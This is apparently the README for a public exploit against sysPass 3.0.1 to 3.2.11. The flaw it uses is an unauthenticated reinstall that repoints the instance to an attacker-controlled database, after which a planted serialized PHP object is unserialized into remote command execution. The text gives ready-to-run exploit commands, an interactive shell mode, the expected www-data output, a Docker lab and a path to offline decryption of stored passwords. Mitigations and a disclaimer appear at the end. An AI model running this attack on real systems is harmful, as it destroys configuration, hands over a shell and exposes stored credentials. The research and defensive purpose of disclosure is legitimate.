CVE-2026-129110: unauthenticated reinstallation RCE in sysPass 3.0.1 through 3.2.11
sysPass does not check whether it is already installed before handling POST /index.php?r=install/install. The install controller sits in Init::PARTIAL_INIT, so the bootstrap skips both the installed gate and the session handling. An unauthenticated attacker can reinstall a live instance and point it at a database they control, then plant a serialized PHP object in PublicLink.data. When the public link is opened, AccountController::viewLinkAction() passes that column to unserialize() with no allowed_classes restriction, and a phpggc Monolog gadget executes a command as the web server user.
syspass/syspass:3.2.3 and 3.2.11 (PHP 7.3.31, Monolog 1.27.x, phpseclib 2.0.37), attacker database MariaDB 10.6.28, with root and with an unprivileged account scoped to one databaseDiscovered by Marcos Azevedo (@psylinux) in June 2023. The initial proof of concept was written by hand, without AI tools; the exploit was improved with AI assistance in 2026.
openssl extension. Used to encrypt the install fields with the target's public key, using the same PKCS#1 v1.5 padding as the server.PATH, or --phpggc /path/to/phpggc.GRANT ALL ON \db`.*` is enough, and it can create that database.mysql client, or --print-sql to print the SQL and run it yourself.One command:
python3 exploit-CVE-2026-129110.py \
--target http://VICTIM:PORT \
--db-host ATTACKER_DB_HOST \
--db-user ATTACKER_DB_USER --db-pass ATTACKER_DB_PASS \
--db-name syspass \
--phpggc /opt/phpggc/phpggc \
--cmd 'id'
Interactive shell. Each command is re-planted in PublicLink and its output is read back from the HTTP response:
python3 exploit-CVE-2026-129110.py \
--target http://VICTIM:PORT \
--db-host ATTACKER_DB_HOST \
--db-user ATTACKER_DB_USER --db-pass ATTACKER_DB_PASS \
--phpggc /opt/phpggc/phpggc --shell
Print the SQL instead of touching the database:
python3 exploit-CVE-2026-129110.py \
--target http://VICTIM:PORT --db-host ATTACKER_DB_HOST \
--db-user ATTACKER_DB_USER --db-pass ATTACKER_DB_PASS --print-sql
With --print-sql the database must already exist, because the exploit still performs the install and the installer's hosting mode requires it.
Options: --hash (public link hash, default exploit), --db-name (default syspass), --db-user (default root), --mysql-connect-host (when your host resolves the database under a different name than the victim does).
Expected output:
[*] Step 1: fetching install PKI public key
[*] Step 2: creating the attacker database
[+] Attacker database `syspass` ready.
[*] Step 3: reinstalling the target against the attacker DB (CWE-306)
[*] install/install -> HTTP 200: {"status":0,"description":"Installation finished",...}
[*] Step 4: seeding Client, Category, UserGroup, Account and PublicLink
[+] Rows planted on the attacker DB.
[*] Step 5: executing 'id' through the public link (CWE-502)
[+] Command output (HTTP 200):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
docker network create syspass-lab
docker run -d --name lab-db --network syspass-lab \
-e MARIADB_ROOT_PASSWORD=rootpass mariadb:10.6
docker run -d --name victim --network syspass-lab \
-p 18080:80 syspass/syspass:3.2.3
docker exec lab-db mysql --skip-ssl -u root -prootpass -e "
CREATE USER 'spowner'@'%' IDENTIFIED BY 'ownerpass';
GRANT ALL PRIVILEGES ON \`syspass\`.* TO 'spowner'@'%';
FLUSH PRIVILEGES;"
docker run -d --name tools --network syspass-lab \
-v "$PWD":/work php:8.2-cli sleep infinity
docker exec tools bash -c 'apt-get update -qq &&
apt-get install -y -qq --no-install-recommends python3 mariadb-client git &&
git clone -q --depth 1 https://github.com/ambionics/phpggc /opt/phpggc'
docker exec tools python3 /work/exploit-CVE-2026-129110.py \
--target http://victim \
--db-host lab-db --db-user spowner --db-pass ownerpass \
--db-name syspass --phpggc /opt/phpggc/phpggc --cmd 'id'
The reinstall is destructive to the configuration. It rewrites app/config/config.xml to point at the attacker database and writes no configuration backup, so the instance loses access to its own vault. The rows in the old database are not deleted; the instance simply no longer reaches them.
Two details worth knowing:
schemas/dbstructure.sql, which contains 31 DROP TABLE IF EXISTS and 4 DROP VIEW IF EXISTS statements, against the database named in dbname. That database is the attacker's, so the victim's tables are safe. Point dbname at the victim's own database and they are gone.passwordSalt survives the reinstallation, because the salt is only generated when config.xml is absent. That value plus an old database dump and one user's login password is enough to decrypt every stored account password offline. This exploit does not do that decryption; the write-up covers it.There is no upstream patch. Upstream is unmaintained. The maintained fork, OpusProjects/sysPass, fixes both problems: #360 makes installAction() refuse to run when the instance is installed, and #300 restricts allowed_classes in every unserialize() call.
If you run upstream sysPass, block index.php?r=install/install at the reverse proxy, keep the instance off the internet, and restrict outbound connections so it cannot reach arbitrary database servers. If an instance was exposed, rotate every stored password: changing the master password does not help.
For authorized testing and research only. Run it only against systems you own or are explicitly permitted to test. The reinstall step is destructive to the target configuration.